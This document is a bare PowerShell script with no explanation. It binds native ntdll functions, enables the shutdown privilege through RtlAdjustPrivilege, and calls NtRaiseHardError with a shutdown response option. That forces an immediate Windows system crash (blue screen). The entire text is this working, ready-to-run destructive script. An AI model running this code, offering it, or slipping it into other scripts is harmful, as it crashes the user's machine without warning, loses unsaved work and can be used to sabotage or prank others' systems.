Add-Type -TypeDefinition @" using System; using System.Runtime.InteropServices; public class NativeMethods { [DllImport("ntdll.dll")] public static extern int RtlAdjustPrivilege(uint Privilege, bool Enable, bool Client, ref bool CurrentState); [DllImport("ntdll.dll")] public static extern int NtRaiseHardError(int ErrorStatus, uint NumberOfParameters, uint UnicodeStringParameterMask, IntPtr Parameters, uint ValidResponseOption, ref uint Response); } "@ $currentState = $false [NativeMethods]::RtlAdjustPrivilege(19, $true, $false, [ref]$currentState) $response = 0 [NativeMethods]::NtRaiseHardError(0xc0000022, 0, 0, [IntPtr]::Zero, 6, [ref]$response)